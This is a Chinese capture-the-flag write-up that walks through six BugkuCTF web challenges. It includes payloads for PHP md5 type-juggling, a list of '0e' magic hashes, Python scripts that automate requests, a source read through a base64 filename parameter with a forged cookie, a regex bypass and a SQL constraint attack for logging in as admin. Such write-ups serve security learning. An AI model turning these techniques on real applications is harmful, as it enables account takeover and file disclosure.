• BugkuCTF


    1.听说备份是个好习惯

    访问时,有一串md5

    d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

    解密说是空密码。

    然后进行目录扫描,发现源码泄露。

    <?php
    /**
     * Created by PhpStorm.
     * User: Norse
     * Date: 2017/8/6
     * Time: 20:22
    */
    
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    $str = substr($str,1);
    $str = str_replace('key','',$str);
    parse_str($str);
    echo md5($key1);
    
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
        echo $flag."获取flag";
    }
    ?>
    1. $str=str_replace('key','',$str) //replace替换  key会替换成空。使用kekeyy绕过
    2. md5($key1)==md5($key2)       //key1 和key2的md5值要相同
    3.  $key1!==$key2                  //key1和key2值要不相同

    第一种

    md5()函数无法处理数组,如果传入的为数组,会返回NULL

    payload :http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=a

    第二种

    php弱类型绕过构造提交的值md5(),开头为0e

    payload:http://123.206.87.240:8002/web16/?kkeyey1=s878926199a&kkeyey2=s155964671a

    提供常用的php弱类型

    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s214587387a
    0e848240448830537924465865611904
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514
    s1502113478a
    0e861580163291561247404381396064
    s1885207154a
    0e509367213418206700842008763514
    s1836677006a
    0e481036490867661113260034900752
    s155964671a
    0e342768416822451524974117254469
    s1184209335a
    0e072485820392773389523109082030
    s1665632922a
    0e731198061491163073197128363787
    s1502113478a
    0e861580163291561247404381396064
    s1836677006a
    0e481036490867661113260034900752
    s1091221200a
    0e940624217856561557816327384675
    s155964671a
    0e342768416822451524974117254469
    s1502113478a
    0e861580163291561247404381396064
    s155964671a
    0e342768416822451524974117254469
    s1665632922a
    0e731198061491163073197128363787
    s155964671a
    0e342768416822451524974117254469
    s1091221200a
    0e940624217856561557816327384675
    s1836677006a
    0e481036490867661113260034900752
    s1885207154a
    0e509367213418206700842008763514
    s532378020a
    0e220463095855511507588041205815
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s214587387a
    0e848240448830537924465865611904
    s1502113478a
    0e861580163291561247404381396064
    s1091221200a
    0e940624217856561557816327384675
    s1665632922a
    0e731198061491163073197128363787
    s1885207154a
    0e509367213418206700842008763514
    s1836677006a
    0e481036490867661113260034900752
    s1665632922a
    0e731198061491163073197128363787
    s878926199a
    0e545993274517709034328855841020<

     2.秋名山老司机(快速计算)

    直接帖代码

    import requests
    import re
    url='http://123.206.87.240:8002/qiumingshan/'
    s=requests.Session()
    r=s.get(url)
    num=re.findall(r'<div>(.*)=',r.text)[0]
    result=eval(num)
    r=s.post(url,data={'value':result})
    r.encoding='utf-8'
    print (r.text)

     3.我感觉你的快点

    查看源代码,让以post方法去访问。

    查看数据包,看到有一个flag字段。base64去解码,发现是一串数字,然后使用给的参数加数字,使用post去访问。

    直接上代码

    import requests
    import base64
    import re
    
    url = 'http://123.206.87.240:8002/web6/'
    e=requests.Session()                                    //获取session。
    s=e.get(url)                                                 //以get方式去请求
    html=s.headers['flag']                                  //获取返回数据包中flag字段
    q=base64.b64decode(base64.b64decode(html)[-8:])  
    //第一次把flag中的字段进行base64解码,然后取解码后的后8位进行第二次base64解码
    data={'margin':q}                                   //获取margin这个参数,
    c=e.post(url,data = data)                        //使用post去请求
    print(c.text)                                            //返回信息
        

     4.cookie欺骗

    url:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=  发现后面为base64。进行解码 为 key.txt  

    然后把这个进行更换,为index.php  (开始尝试了flag.txt,没有东西) 发现有东西,然后修改line 这个参数,发现每更换一个数字就会返回不一样的结果。

    利用脚本

    import requests
    for i in range(10):
        url='http://123.206.87.240:8002/web11/index.php?line={0}&filename=aW5kZXgucGhw'.format(i)
        r=requests.get(url)
        print (r.text)

    获得代码

    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
    
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>

     发现还有 cookie: margin=margin   && 访问keys.php  即可。

    5.字符?正则?

    打开网页发现有一串PHP

     <?php 
    highlight_file('2.php');
    $key='KEY{********************************}';
    $IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
    if( $IM ){ 
      die('key is: '.$key);
    }
    ?> 

    进行分析一下,通过 id 传参,并且要符合上面的正则表达式,key就会显示。

    highlight_file  对文件进行语法高亮显示。
    preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。

    分析正则

    .                                  匹配除 "
    " 之外的任何单个字符
    .*                     就是单个字符匹配任意次,即贪婪匹配 {
    4,7}                            最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 47 个任意字符 /                                匹配 / ,这里的 是为了转义 [a-z]                            匹配所有小写字母 [:punct:]                    匹配任何标点符号 /i                              表示不分大小写

    由上构造payload。

    ?id=keykey1111key:/a/keya:

    ,得flag。

     <?php 
    highlight_file('2.php');
    $key='KEY{********************************}';
    $IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
    if( $IM ){ 
      die('key is: '.$key);
    }
    ?>
    key is: KEY{0x0SIOPh550afc}

     6.Login1(SKCTF)

    题目提示:SQL约束攻击。(一脸懵逼,没见过。~~)

    SQL约束攻击:

    在sql执行字符串处理的时候,字符串末尾的空格符都会被删除,以下两个字符串结果相等,在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致.
    SELECT * FROM users WHERE username='test   '; 
    SELECT
    * FROM users WHERE username='test';

    INSERT截断:这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。
    说明注册'test'用户 和 'test '用户,由于截断,所有这个两个用户是一样的。
    当不知道test用户密码的时候,我们可以创建一个'test '用户 密码‘123456’。在查询的时候会执行下面这条
    SELECT username FROM users WHERE username='test' AND password='123456'

    这里注册一个'admin     ',密码任意的账号。登录进去后显示flag。

  • 相关阅读:
    安装dumpling
    安装binlog(pump)
    安装部署lightning
    dumping备份成csv并使用lightning恢复
    Datax学习指南(五) 进阶datax web
    【转】PgSql删除数据库报错处理
    Spring Batch (一) 理论介绍
    frp简易配置
    Spring底层核心原理解析
    cuda、torch、torchvision对应版本以及安装
  • 原文地址:https://www.cnblogs.com/pangya/p/10214564.html
Copyright © 2020-2023  润新知